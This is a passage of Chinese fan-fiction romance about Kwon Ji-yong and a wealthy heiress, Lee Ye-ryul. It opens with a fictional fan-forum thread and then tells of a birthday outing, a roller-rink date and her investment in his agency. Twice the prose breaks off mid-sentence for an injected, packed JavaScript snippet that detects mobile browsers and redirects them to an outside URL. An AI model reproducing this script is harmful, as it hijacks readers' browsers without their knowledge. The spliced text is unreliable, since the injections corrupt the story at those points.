有没有可能这就是他出道这么多年一直吸引女友粉的原因? 16L: 所以说真的很难理解啊 按理说幸福会让人变得失去创作力,像他这种十几年感情稳定怎么说都算是超级幸福的人生赢家了,老婆又是大艺术家又是首富女儿 这人身上怎么还是写满怅然若失的破碎感啊? 17L: 驸马也不是那么好做的捏(荷包蛋眼泪 18L: 人家豪门儿媳都要早上六点起来给全家做早餐送公公老公出门上班 说不定KJY背地里也跟灰姑娘一样晚上12点洗完衣服睡觉,第二天早上六点起床目送岳父上班 哎,豪门赘婿难当啊!(绝对不是因为本人嫉妒所以疯狂造谣 19L: 楼上你这不是全都说出来了吗!! 20L: 哈哈哈哈哈不至于啦 他们感情看上去真的很稳定 不过我感觉可能跟阶级差距有关系吧 21L: 要不然就是岳父家里不支持他逐梦演艺圈 李在叙:我们李家的人可不能整日出来抛头露面(玫瑰 22L: 哈哈哈哈哈哈哈哈可是KJY姓款啊 23L: 李在叙:整天穿得像个小混混一样,一看就不是什么好人! LYS:爹地呀,他才不是什么坏小子呢!我们说好了,等出完这张专辑以后他就隐退,回家帮忙打理家业 24L: 那种事情不要啊!!! 25L: 怎么可能啊! 真以为管理一家跨国集团跟上学的时候当班长一样轻松啊 倒不如说班长都很难当更别提在公司里当管理层了 26L:回复20L 看了一圈你的回答最中肯 感觉阶级的差距真的是很难去抹平的 在小韩那边只会更严重 说来说去,果然自卑是男人最好的医美啊(狗头叼玫瑰 27L: 怎么我组都没人关注LYS的吗? 之前看到她在留声机杂志的采访,应该跟健康状况有关吧 她十几岁的时候有遭遇过车祸发生过很严重的后遗症,到现在都有影响 说白了就是身体很不好 应该和这个有关,所以看KJY展现出来的状态总是有一种患得患失的既视感吧 28L: ????真假??! 29L: 众所周知,我组平均年龄小学生 外文杂志什么玩意儿啊,看不懂,压根看不懂 30L:回复27L 卧槽友友。。。你这么一说我反倒磕起来了 去日无多的宿命爱情 在最幸福的时候患得患失害怕未来会降下更大的分离 这简直是我心里破碎爱的天花板啊!!! 31L: 说不定KJY本人也很吃这一套我说实话。。 因为他真的不像那种得到即时满足后会一直沉迷的性格 按照这样说,反倒是因为处于永远患得患失永远幻想幸福溜走,达摩克里斯之剑始终处于摇摇欲坠的状态,才会让他想抓得更紧 32L: KJY不是抖M我第一个不认! 33L: 你们都在关注视频外KJY的情感生活,没人觉得歌好听吗? 应该是酷玩乐队的《fix u》改编的吧怎么还加入了说唱啊 真是好天才的创意 甚至还特意安排了小品! 34L: 而且词还是他自己写的 顺便一提这个时候他才16岁 对!开场引入的小品真的和整首歌很搭,C8真是天才创意啊 35L: 。。。这创作能力活该他每年拿这么多版权费 36L: 救命他笑得真的好不值钱啊 37L: KJY:娶到心爱的女人就像打了一场胜仗一样! 38L: 俺不中了 KJY绕着钢琴转的样子真的让我眼睛好疼 39L: KJY你赶紧去医院检查一下吧 我怀疑你是条狗!! 40L:回复39L 我将赐予你比某度更铁口直断的神医称号! 41L: 39哥能帮我看看我们家孩子还有救吗?? 42L:(原39L 哎,家属想开点,眉毛以下截肢吧 毕竟这是只要睁着眼就在舔LYS的小哥哥一枚呀 43L: 哈哈哈哈哈哈哈哈哈哈大明星今天又幸福了捏! 25.算你倒霉 进入高二以后,时间便像被按下加速键一样跑得飞快。 权至龙对于这一年的记忆大多是疼痛的——他的身高在不知不觉中猛窜了十公分,原本合身的校服裤脚渐渐缩到了脚踝上方,露出嶙峋的脚踝骨。 除却生长痛带来的烦恼以外,他也在这一年戴上了眼镜。 十七岁的他已经很有些个人审美取向,因此不同于时下流行的半框或是彩色全框镜框,他选了一副极具复古风格的黑色全框,意在突出独特的文艺高智气质,通俗来讲就是HotNerd风。 对此李艺率的评价是—— “Hot没看出来,Nerd的氛围倒是十足。” 权至龙:“……你这家伙说话真的很刻薄欸!” 三月的最后一天是李艺率的生日,恰逢周末,两人此时正在弘大附近的咖啡馆碰面。 聊到有关生日的话题,权至龙仍然有些耿耿于怀:“哪有人会在生日的当天才告诉别人的啊,我压根没时间提前准备啊!” 李艺率:“谁会在没过生日的时候就提前告诉别人我生日是几号啊?那样才奇怪好不好!” 因为出生数字实在特殊而提前向李艺率炫耀过的权至龙:“………………” “不过话说回来,像你们这样的财阀家庭,过生日的时候不是都要举办宴会的吗?”权至龙想起了电视剧里宝马香车云鬓华服的场景,露出了大为惊恐的表情,“不会晚上还有一场正式的生日晚宴吧?” 似乎是幻想出了自己身穿卫衣牛仔裤格格不入地站在富丽堂皇的宴会厅中,尴尬地看着一群身着华服的社会名流觥筹交错的画面,权至龙忍不住脚趾蜷缩打了个寒颤。 那种事情不要哇!!! 对此李艺率只是露出复杂的神情:“……小权,少看一点电视剧吧。” 权至龙:“…………我唯独不想被你这样说!” 不打开电视剧就不肯吃饭的电视儿童究竟有什么资格这样说我?! * 弘大,不仅仅是指韩国著名的艺术院校弘益大学,还代表了以弘益大学为中心形成的独特的大学街文化,是韩国年轻人,尤其是高中生和大学生的文化、艺术和娱乐聚集地。 因为临时接到李艺率的‘生日通知’没来得及准备礼物,所以在权至龙的强烈要求下,两人在咖啡馆里消磨了一会时间便准备前往附近的艺术小店逛逛。 阳光穿过悬铃木的叶子,在水泥地上投下晃动的光斑。 二手唱片在便携音响里转出略带杂音的嘻哈音乐,扎着脏辫的街头艺人正往帆布上泼洒荧光颜料,颜料顺着画布流淌,和空气中漂浮的辣酱味纠缠在一起。 弘大的自由市场只在周末对外开放,各种类型的手工创意摊位上摆满了琳琅满目的手作饰品和创意品,色彩斑斓地在阳光下闪烁。 权至龙被一个摊位上的手作耳饰吸引,精致的银链条上缀着颇具通透质感的彩色宝石,闪烁着细碎的光,他幻想着李艺率小巧的耳垂上缀着鲜艳色彩的画面,忍不住嘴角轻扬。 他献宝似的拿到李艺率眼前,跟着在她耳下比划:“这个怎么样?感觉很适合你啊。” 这其实也是出于权至龙小小的私心。 他早早就观察过李艺率的耳垂,圆润小巧,玉做得一般精致,上面有一个小小的圆形压痕,是耳洞的痕迹。 可认识这么长时间,权至龙见过李艺率佩戴如发卡项链等饰品,却从未在她耳边见过任何耳饰。在许久之前他就生出了这样莫名隐秘的心思,幻想着她戴着由他挑选的饰品,仿佛这样就被他亲手打上标记一样。 李艺率摩挲着耳坠上细小的彩宝,又对上了权至龙亮晶晶的眼睛,犹豫片刻还是垂下眼睑轻声拒绝:“我不太习惯这类饰品。” 说着她又娇气地抱怨着:“挂在耳朵上总感觉会很沉,不喜欢。” 权至龙:“哪有那么夸张啊!” 见她抗拒的神色很彻底,权至龙眼中闪过一丝遗憾,不过倒也没再说些什么。 摊主是一个大学生模样、染着紫色头发,开朗热情的年轻女孩。 她坐在小马扎上编织手链,手腕上叮当作响的镯子随着她的动作晃动。听见两人的对话,她抬起头露出俏皮的虎牙,“可以看看别的啊,摊位上的所有饰品都是我自己设计手工制作的款式哦!” 似乎是注意到李艺率长发披肩的模样,她指了指发饰的区域,“发夹怎么样?” 两人经过不同审美的挑选,最终还是选定了一枚星星形状的发卡。银色的一字卡上缀着大小形状不一的星星图案,莱茵石反射着细腻的光泽,看上去精致极了。 虽然价格略高,但毕竟是送给亲故的生日礼物,又是第一份礼物这样十分具有纪念意义,于是权至龙还是毫不犹豫地掏钱拿下。 李艺率收到礼物的当下便接过摊主姐姐递来的镜子,将发卡别在耳侧,细碎的星光在她发间闪烁,映衬得她脸庞更加柔和。 她轻轻转动头部,莱茵石的色泽便随着动作微微颤动。 “我把你别在头上了耶。”李艺率如是感叹,又甜滋滋地对权至龙露出一个笑脸,“谢谢小权,我很喜欢这个礼物。” 见她笑得开心,权至龙的耳朵也跟着发烫,嘴角止不住地上扬,却还是别扭地嘴硬道,“什么叫把我别在头上了啊,别总说这种话啊!” 李艺率:“你不是大明星吗?Star嘛。” 权至龙:“…………” 是了,在小老外的语境中,这压根就算不上什么暧昧的遣词用句。 尽管这样,权至龙还是忍不住高兴得露出饱满的笑纹,心底那丝隐秘的喜悦让牙龈微微发痒。 * 临走前李艺率又在摊位上挑了一件饰品,付过钱以后又递给了权至龙。 李艺率:“刚刚看你好像很在意这个。” 权至龙接过以后有片刻怔神。 那是一条和李艺率的发卡配套的细银链,应该是出于同一设计主题,相互呼应的关系,链子的吊坠同样是缀满了莱茵石,是月亮的形状。 也不知道从什么时候起,在他独自思考的时候,李艺率的形象就被一种更为具体的意象所取代。大概是因为一切溢美之词都比她的存在本身更显庸碌,于是往后的时间只要在舌尖默念名字,就会被一团清浅温柔的月色笼罩。 被当事者本人无知无觉的戳穿了隐秘的心意,权至龙整个人皮肤都有些发烫了起来。 而李艺率却浑然不觉,她看着他小心翼翼地将银链缠上脖颈,又转过身去帮他扣好卡扣。 月亮安然地坠在了他的胸口,静谧地闪烁着光彩。 “虽然是女款的项链,但是戴上去以后感觉很合适嘛。”李艺率专注地打量了几眼,又认可似地点点头,“这么一看你长得还蛮秀气的,说不定意外地有穿女装的天赋耶。” 权至龙:“……这算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115149|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么好的夸奖嘛?我可是男人啊!” 李艺率不解:“这当然是很好的夸奖啊,很多国外的设计师不是都会强调美是不分性别的吗。” 说着李艺率又冲他歪了歪头:“我就很喜欢这种类型的啊。因为很多男性,尤其是韩国男性,大家都会过分强调男子气概,感觉稍微凑近一点就能闻到汗臭味。”她嫌弃得皱了皱鼻子,“某种程度上来说,这不就是越缺什么就忍不住越炫耀什么吗?” 权至龙:“……倒是真敢说啊你!” 他嘴上抱怨着,但还是忍不住悄悄将嘴角咧到耳根。 * 难得的生日,当然不是只逛逛街挑选礼物那样容易满足。 在询问过李艺率想做些什么的意见以后,权至龙带着她去了弘大附近的一家室内轮滑馆。 千禧年初,在网络等新兴娱乐活动尚未兴起的年代,室内轮滑场结合了音乐、时尚和社交功能,在亚洲和欧美仍是一种流行的娱乐场所,属于是彼时青少年文化的重要符号—— 可惜他们在进入轮滑场之前就租赁窗口遇上了关卡。 生下来物质就没有短缺过的大小姐看着租赁柜台上成排的双滑轮设备挑了挑眉,“设备是对外出租的吗?” 权至龙甚至不需要动脑子就能想到李艺率的下一句想说些什么:“…………” 他无奈地翻了个白眼:“大家都有穿一次性鞋套的啊,你担心的事情不会发生的。” 李艺率正色:“但是我在心理上还是接受不了。” 权至龙:“…………” 是了,这是一个擦过别人脚印的手帕都要嫌弃的大小姐,会在这种小事上挑剔也是理所应当的……吧。 哪怕在心里开解着自己,权至龙还是忍不住露出一个牙疼的表情:“你这家伙真的很挑剔啊!” 嘴上抱怨不停,权至龙还是拉着李艺率咨询过租赁人员以后,带着她转身拐进了出售设备的营业台,然后又一次换来了大小姐嫌弃的挑眉。 李艺率:“看上去都好丑。” 权至龙:“……给我适可而止一点啊!” 他舌尖擦过牙齿烦躁地咋舌弹了个响,又任劳任怨地陪着李艺率挑选起设备。直到李艺率终于心满意足刷完卡才接过她手里的购物袋,时间已经早早地转过半个点。 李艺率:“要不要给你也买一套?” 权至龙:“……不用了,谢谢你的好意。” 明明就有价格低廉的设备可供租赁,他可不想要花大价钱当冤大头! 在溜冰场入口处终于将轮滑鞋穿戴整齐以后,权至龙转过头就看见了全副武装还仍觉不满,试图询问租赁台的服务员穿加厚防护服溜冰可行性的李艺率。 权至龙:“…………” 服务人员脸上写满无语整个人快碎掉了。 权至龙只好一把拉回了这个摆出真诚的表情作最出过分刁难的熊孩子:“……别擅自做一些给别人添麻烦的事情啊!” 李艺率对此则大为不可置信:“这是很危险的运动好不好!万一我摔倒了又算谁的呢?!” 权至龙:“…………” 你都穿成这样了怎么还能发出这种信誓旦旦的质疑啊?! 他看了看自己全身上下只有脚下一双轮滑鞋,转头盯着戴上了防护头盔和手套,护膝护肘全副武装的李艺率,艰难地扯动嘴角冷笑一声。 权至龙:“那算你倒霉。” 26.追逐风的自由 或许在十几年后各项娱乐活动逐渐兴起的未来,旱冰场会逐渐淡出人们的视野,成为一种怀旧的符号。但在2005年的当下,这里绝对是千禧年初最具有青春代表性的流行趋势。 不大的场馆弥漫着千禧年特有的科技感,荧光灯管在低矮的吊顶上拼出波浪形轨迹,间歇性闪烁的彩色射灯将地面染成区块化的色带。 场地四周的吸音墙覆盖着银灰色泡棉,音响系统循环播放着当时的热门曲目,电子合成器的旋律与重低音鼓点经过墙面反射,形成浑浊的声浪。 滑轮与地面摩擦的声响混入音乐节拍,人群的嬉闹声此起彼伏,年轻人三五成群地穿梭其中,技术娴熟地做出转弯、跳跃的动作,引得场边阵阵欢呼。 而此时身为初学者的李艺率则紧紧抓着场地边缘的扶手,不时警惕着从她身边擦身飞驰而过的人流,跌跌撞撞地努力保持平衡。 站在旁边围观全程的权至龙:“…………” 这家伙已经在场边抓着栏杆磨磨蹭蹭了将近十分钟了,再这样耗下去估计等到天黑也未必能滑起来。 他不露痕迹地翻了个白眼,嘴里仍是好声好气地安抚:“你试着放手滑几步看看呢?放心,我不会让你摔倒的。” 虽然李艺率在很早之前强调过她的痛觉比一般人敏感许多,但看她现在这样一身全副武装的模样,权至龙心说,哪怕是真摔倒了估计也不会痛到哪里去吧! 更何况还有他这个从小一直练习身体协调性和韧性都极佳的旱冰老手在旁边看着她呢,真不知道她在怕些什么。 听到权至龙的鼓励,李艺率只是露出了一个‘别把我当傻子骗’的眼神:“我才不信呢。真到那个时候,你绝对会眼睁睁看着我摔得四脚朝天然后站在旁边笑到打滚的。” 权至龙不可置信:“我为什么要这么做?!” 李艺率理直气壮:“因为如果是我的话,我就会这样做!” 权至龙:“…………” 居然是因为深知自己的恶劣本性而下意识也怀疑起他了吗?可他才不是李艺率这种性格糟糕又恶趣味的家伙啊! 权至龙深感委屈,越想越觉得李艺率肯定是还在记刚刚入场前的仇。 真是个小心眼的坏家伙! 但这样耗下去实在也不是办法,他在心里默默叹了一口气,滑动几步靠近李艺率身边,伸手自然地牵住她的手腕:“那我牵着你滑好吗?这样就算摔倒了也有我垫着,绝对不会让你摔痛的。” “……”李艺率微微蹙眉将权至龙从上倒下打量了一遍,似乎在权衡他的提议,可眼神还是将信将疑。 权至龙:“……我的信誉在你眼里真有差劲到这种程度吗?” 李艺率:“我爸爸说过,这个世界上除了他和哥哥以外,任何男人的话谁都不可信。” 权至龙:“…………这根本就是两码事好不好!!” * 细算起来,李艺率和权至龙之间有过几次‘教学活动’。 比如夕阳下那支笨拙的华尔兹,比如每天下午放课后的钢琴私教,比如偶尔兴起时,他打着锻炼小老外口语能力的旗号,在练习室教李艺率磕磕巴巴地学习说唱。 但总的来说,比起李艺率糟糕的教学水平,权至龙显然更具备一位合格老师应有的素质—— “我好像要摔倒了!” “不会,”他将手从她的手腕转移至她的手心安抚道,“我抓着呢,别怕。” 男生的体温比她想象中更有力,温度透过手套一路蔓延至掌心,原本紧绷的神经也在这份温暖的传感中逐渐安定了下来。 权至龙仍一副耐心十足的模样,在他鼓励的目光下,李艺率试探性地迈开腿。 “好,再稍微屈膝,重心放低一些,对,就是这样——” 权至龙的声音比想象中要更近一些。 他的手指在她掌心轻轻一握,带着她慢慢向前滑动,“重心还要再放低些,不要后仰……保持这个状态。现在左脚往后蹬,动作交替……” 李艺率照做,旱冰鞋的轮子终于第一次真正滚动,在权至龙的牵引下渐渐流畅起来。 她紧张地屏住呼吸,睁大眼睛,像是完成了什么不可思议的壮举,声音里满是惊喜。 “我滑起来了!” “一点都不难,对吧?” “嗯!” 她又笑了起来。 旱冰场闪烁的灯光在她眼底流转,将暖棕色的眸子映得如同融化的焦糖,仿佛多看上一眼就会被甜度溢出的糖浆包裹住整个心脏。 权至龙被她突如其来的笑容晃得一时之间忘了回应,心跳像漏了一拍似的怔在原地。 等他再反应过来时,某个刚学会滑行的熊孩子已经渐渐松开了紧扣的手指,抡着两条腿将滑轮在地面上擦得飞快。 似乎完全没意识到自己动作幅度太大,一个没注意,脚下的轮滑鞋突然打滑,轮子卡在了一起,双腿拧巴着踉跄失去平衡—— 李艺率暗道一声完蛋,整个人朝前栽去。 在失去平衡的那一刻就已经做好迎接巨大痛苦的准备,可与预想中触感不同,她跌进了一团更为温暖柔软的温柔疼痛里。 权至龙甚至回忆不起自己是怎么做到的。 只知道在看见她摇摇欲坠的姿态时,肾上腺素便一瞬间冲上脑子,几乎是本能地一把接住她失去重心倾倒的身体,自己则因为冲击力而单膝跪地险些栽倒。 他的眼睛在近距离看竟然是浅棕色的啊,像透明的琥珀一样,她出神地想到。 “别怕,”他轻声说道,声音有些哑,“说过不会让你疼的。” 李艺率怔怔地望着近在咫尺的脸,忽然感觉到心里有一块地方像是被一场巨大的风暴搅动,整块版图随着突如其来的灾难降临而逐渐崩塌。 过了好一会,才手忙脚乱地从爬起来。 她整了整头盔的安全搭扣,紧了紧手上的露趾保护手套,紧接着又低下头检查自己的护膝护肘,一副十分忙碌整装的模样。 直到确认全身上下每一处防护都万无一失后,她才轻咳一声,终于抬起头来。 权至龙就站在她身边,双臂抱胸,右脚的旱冰鞋随着音乐节奏轻轻点地,嘴角噙着一抹似笑非笑的弧度,显然已经围观她假装忙碌有好一阵。 李艺率:“…………” 她清了清嗓子,唬着脸问到:“这么看着我干嘛?!” “这不对吧,”权至龙似乎是打定了主意要戏弄她,似笑非笑道,“艺率啊,这种时候应该说什么才对?” “…………谢谢你。”李艺率轻声嘟囔。 权至龙挑眉:“什么?音乐太吵了我听不清。”他故意凑近了些,气息拂过她的耳畔,带着笑意的挑衅,“好像是什么很不得了的话啊,可惜我没听见。再讲一遍吧。” 哼哼,可算是让他找到机会了。 相处这么长时间,李艺率会经常理直气壮地指使他。虽然每次都会乖乖道谢,但在权至龙看来大多都是口头的,肤浅的,装模做样的,更像是那种因为良好的家教把感谢当成一种下意识的习惯和礼貌。 但是这一次不一样。 他双手抱胸好整以暇地看着像猫应激一样几乎整个人要跳起来的李艺率。 嘁,青春期的男生心思直白到简直一眼就能看穿。 李艺率撇撇嘴,心道小权这家伙简直是太过分啦!虽然很好履行了承诺避免了她当众出糗的尴尬和令人厌恶的疼痛,可是这家伙现在这样一副得寸进尺的模样还是太讨厌了! 维护老大不是他身为跟班应该做的事情吗?区区小权要学的事情果然还是很多呢! 溜冰场的灯光又变幻了一种色彩,节奏感强烈的电子音伴随着五彩斑斓的光束扫过光滑如镜的冰面,从他们身边擦过的人群激起一阵风声,而他们两人此时站在场地边缘仿佛被圈出了一道静止的漩涡。 李艺率抿着唇,又深吸一口气,努力压制住脸颊泛红的滚烫,一把拉过权至龙,伴着强烈的鼓点节奏在他耳边喊出了声。 李艺率:“小权,谢谢你——!” 谢谢你好好遵守了承诺保护我。 权至龙被突如其来的郑重震得耳膜鼓动,原本打定戏弄主意的人,反倒最先成了那个害羞别扭的那一个。 他下意识地往后退了一小步,耳尖有些发烫,别过脸也磕磕巴巴地回到:“哦,这没什么的,举手之劳而已啦……” 李艺率:“…………” 众所周知,蹬鼻子上脸一向是李艺率的性格底色。 看到他这副窘迫的模样,她心里刚刚那一股子羞涩拧巴都顿时被抛到脑后,取而代之的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123805|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满满当当的得意和促狭。 李艺率:“说真的,小权。你现在是我在这个世界上除了爸爸和哥哥以外第三个信任的男人!” 权至龙:“…………呀,你够了啊!” 说这种话未免也太叫人有负担了吧!他咧开嘴角,无不苦恼地想到。 * 室内旱冰有许多技巧和滑行动作,在掌握了新手向前滑行的基础以后,权至龙拉着李艺率玩绕场后滑。 “脚尖八字并拢,脚后跟稍微抬起向外侧推……对,就是这样。” 权至龙一边拉着李艺率的手,脚下舞动着双排轮滑行在光滑的地板上,搭配他柔韧的肢体天赋,动作很是轻盈好看。 李艺率被他拉着手努力跟上节奏,又不时回过头看他带着笃定笑意的侧脸,脚下轻飘飘的。 因为疾病的关系,李艺率被要求时刻警惕保护自己,被教导着要恪守距离,被督促着要远离一切会让她的身体产生负担的因素。 可是在此刻,她被人这样亲密地拉着手,漫无目的地穿梭在人流之中,眼前是闪烁的灯光,耳边是震颤的旋律,身后是因为滑行激起的畅快气流。 所有的禁忌,一切她应该为了身体尽量避免的刺激,都在此时化作了维持心脏跳动的燃料。 不遵守规则能怎么样?不保护自己又会怎么样? 就当她是叛逆吧!就让她做那个丝毫不顾及健康的糟糕病人吧! 起码在此刻,她只想要把自己的安全和身体毫无保留地交给这个牵着她的手,带着她追逐自由的人。 这么想着,李艺率在浑浊的空气中深深地吸了一口糟糕却也分外甜美的自由,转过身笑眯眯地看向权至龙。像是一种柔软的挑衅,她冲着他喊道: “小权,可以再快一点吗!” 权至龙望着她眼底跳跃的光,挑挑眉没有回答,只是用力抓紧了她的手指加快脚下的节奏。 李艺率猝不及防地被拽着向后滑去,身边又激荡起一阵畅快的风声。 她跟着加快滑行的脚步,却又笑着无不苦恼的想起,她光学会了怎么滑,该怎么刹车她还没学会啊!! 一群横穿而过的少年像一阵旋风从他们身边擦过,带动的气流叫她的平衡险些崩溃。 李艺率下意识缩了一下肩膀做出闪躲的姿态,却被权至龙稳稳地拉住手腕,顺势一带,被环着腰身后背结结实实地抵上了他的胸膛。 那双不大的琥珀色眼睛在灯光的映射下闪烁着金色的光斑,荡开笑意。 他将她整个人严严实实罩着,扯动嘴角挑挑眉,露出臭屁却也十足少年意气的表情:“要学什么刹车啊?有我在,你想什么时候停下都可以。” 李艺率僵在原地。 电子舞曲强劲的鼓点节奏仍从音箱里不断倾泻,但时间却仿佛在这一刻凝固了下来。 李艺率能清晰地感受到权至龙胸腔里急促的心跳,咚咚咚地透过两人的衣物传来,散发出淡淡的洗衣液香气混合着少年特有的热度,与她自己的心跳竟诡异地同步。 她忍不住屏住了呼吸,隔了好久才找回自己的声音。 李艺率:“小权,你的心跳声吵到我了。” 权至龙:“…………” 像是这才如梦初醒,他整个人如同动物应激一般猛地弹开,抿着嘴唇偏过头去掩饰泛红的耳尖,语气有些结巴:“这、这是说的什么话啊……是音乐的声音太吵了好吧!” 看着他僵硬的动作,李艺率先是微微睁大了眼睛,而后唇角不自觉地一点点扬起,露出两颗恶作剧得逞的虎牙。 她眼下那颗若隐若现的泪痣终于完全绽放,在灯光下盛着蜜糖般的甜意,眼角微微弯成月牙,睫毛像蝶翼般轻颤,暖棕色的瞳孔盛满了细碎的光,连鼻尖都跟着皱起一点可爱的弧度。 李艺率:“就是开个玩笑啊,你干嘛突然这么慌张?” 权至龙:“…………” 他头晕目眩地听见嗡的一声,耳膜鼓动着血液奔流的声响,胸腔里那只不安分的蝴蝶,正扑棱着翅膀撞击他的肋骨。 音乐声、轮滑声、周围人的笑闹声,全都退却得很远,只有自己震耳欲聋的心跳,一下比一下急促,像是要冲破胸膛伸手去够眼前那个笑容。 啊,糟糕。 他的心跳声把他自己也吵到了啊。 27.只是有亿点点钱而已 过了李艺率的生日以后,日子就像被风吹散的气球,转眼就飘过了好几个月。 这一年的夏天发生了一件大事—— 权至龙所在的公司YG娱乐新来了两名练习生,而一项男子偶像组合的出道企划也被正式推向日程。 “你说这像话吗?我和永裴都已经练习好几年了,真搞不懂锡硕哥为什么要把我们和他们放在一起……况且谁想做爱豆啊?我明明只想做嘻哈音乐!” 权至龙灌了一大口冰咖啡,心里的火气仍没被压下去,一时之间心情怨怨如同被踩了尾巴的小狗做出一副无能狂怒的表情。 李艺率支着下巴搅动着杯子里的吸管,在他发泄的过程中不时点头应和几句,充分给予了情绪价值。 直到他终于将心中的不满宣泄完毕,才又试探性地提出之前被权至龙反驳过的提议。 李艺率:“之前就说了我给你开一家专门的经济公司啊,干脆趁这个机会你再考虑一下吧。” 权至龙:“……你是认真的啊?!” 闻言,他瞪大眼睛看向李艺率,似乎终于是在这一刻才确定了她不是在说笑,继而又是一副无语至极的表情:“先不说我在公司还有合约,现在离开要付一大笔赔违约金。就光说开公司本身,你以为是什么过家家的事情吗?” “……只是一个练习生的违约金而已,能花多少钱?” 权至龙:“……我之前在S·M练习的时候,有同期练习生谈解约花了3亿多。” 李艺率不解:“这就算很多了吗?” 权至龙:“………………” 这家伙是不是真的对钱完全没有概念啊! 见权至龙一脸无语仿佛她是在说什么天真至极的玩笑话一般,李艺率反倒正着神色脸上写满认真:“我没有想玩什么过家家游戏。” 李艺率:“我现在的年纪没办法持股,所以会让爸爸或者哥哥代持,关于公司经营方面,自然会有专门的职业经理人打理。脱离一个会让你产生苦恼的环境,又可以自由自在地做自己喜欢的音乐,这不是很好吗?” 见李艺率的神色认真不像是在开玩笑,权至龙痛苦呻吟一声,企图再次打消她离谱的念头,“你真的知道开一家公司要花多少钱吗?” “知道啊,我看过你们公司去年的财报。”李艺率漫不经心地点点头,“YG去年全年的总营收是150亿,按照市销率来算,总估值最高不会超过450亿,如果是单独开一家只为你一个人服务的公司,投入只会更低。” 说到这里,她还抱怨了一句,“所以我去年就说了,你们公司是真的很小嘛。” “……抱怨的话先等等,”权至龙表情虚弱地打断了她的声音,“你为什么会知道我们公司的经营状况啊?!” 李艺率:“去年的时候我不是就问过你要不要换公司吗?那个时候你说想继续留在公司做嘻哈音乐,所以我就拜托家族信托的经理人帮忙收了点散股,虽然现在名义上是子公司投资持股,但是等我成年以后会让渡到我名下。” 说着,她又弯着眼睛露出得意的小虎牙:“你们公司去年的现金流是真的很脆弱,我当时只花了差不多60亿不到就收了接近20%的股份。今年你们公司的艺人SEVEN的新专辑市场反响很不错,经理人说按照这个趋势下去,估值还会有进一步提升,我的这笔投资很划算呢!” 权至龙:“………………” 等等,先等等……夺少? 权至龙见她用一副轻描淡写的口吻,额间的青筋砰砰直跳,灌了好大一口冰咖啡才勉强冷静下来。 虽然知道李艺率和他之间存在着巨大的阶级差距,但同龄好友一跃之间成为他们公司的大股东这种事情对他来说还是太超过啦! 权至龙做出一副痛心疾首的表情:“那可是六十亿呀!你倒是给我态度稍微再认真点吧,别摆出一副这只是一点零花钱的样子啊!!” 李艺率歪头看着他,不太理解他为什么会这么激动,但还是颇为认真地解释道:“这当然不是一点零花钱啊。” 闻言他似乎松了一口气。 李艺率见他一副‘真是万幸’的模样,默默补上了后半句,试图把形式说得更严重一些好叫权至龙不会因为自家公司实在太小而产生消极情绪:“家族信托每年支取额是固定的,六十亿已经算是我差不多一年半的零花钱了!” 权至龙低头扶额,久久无语:“…………” 虽然听出李艺率想要从侧面维护他和公司的自尊,但这六十亿归根结底还是大小姐的零花钱啊! * 像银河这样的大型跨国财团,旗下会有专门的信托管理机构负责资产的保值增值,大笔的资金流动需要经过严格审批。 身为未成年人的李艺率,名下资产的本金自然是处于冻结封存的状态,每年从信托基金里支取的额度大概是总收益的10%左右。算上每年集团的分红,名下不动产的收入,母亲留下的遗产收入和老头子的版税,零零总总加起来也很是一笔可观的数字。 不过她本人对金钱向来没什么概念,也没有购置珠宝名画奢侈品的爱好,日常开销都由家里承担,一些零碎的花销都是刷父亲和哥哥的卡,十几年下来自然攒了一大笔数字相当丰厚的私房钱。 仿佛这是一件很不值得一提的小事,她摆了摆手道:“你别觉得会有负担,这是很正常的投资嘛。况且我平时很少有花钱的机会啊,爸爸和哥哥会给我很多零用钱……” 说到这里时,她神秘一笑,眼里满是灵动的狡黠,“男人的钱花在哪里就证明他的心留在哪里,我爸爸和我哥哥真的很爱我啊!” 权至龙捂脸:“……这么说起来倒也没错。” 就像他现在这样,除了日常吃穿之外剩下的花销,基本上都用在了和李艺率出门消磨课外时间上……虽说对比起她的父兄来说,自己这点投入实在是很不值一提。 但是……被李艺率用这样随意的口吻说出来,仿佛被戳穿了某种隐秘的小心思,一时之间他也莫名懊恼着手足无措起来。 她却丝毫没有察觉他的异样,自顾自地又说回刚刚的提议:“所以说要不要干脆趁这个机会解约算了?” 去年那次权至龙无法登台的遗憾实在给李艺率留下了很深的印象,她还从未见过管理这样儿戏跟草台班子没两样的企业,权至龙日常的苦恼很大程度都来自公司的管理混乱和严苛的上下级制度。 既然如此,早早地换一个环境不是更好吗? 可惜人总是会为一些无意义的事物付诸常识以外的感情,权至龙也不例外。 见他有些抗拒的神色,李艺率露出了遗憾的表情。 这个对他来说像是泥潭一样的环境,不算厚重的人生里一半以上烦恼的根源地,却还是叫权至龙无法割舍。李艺率也说不好这究竟是被人反复否认想要证明自己的不甘作祟,还是投入的时间精力沉没成本太大让他难以下定决心离开。

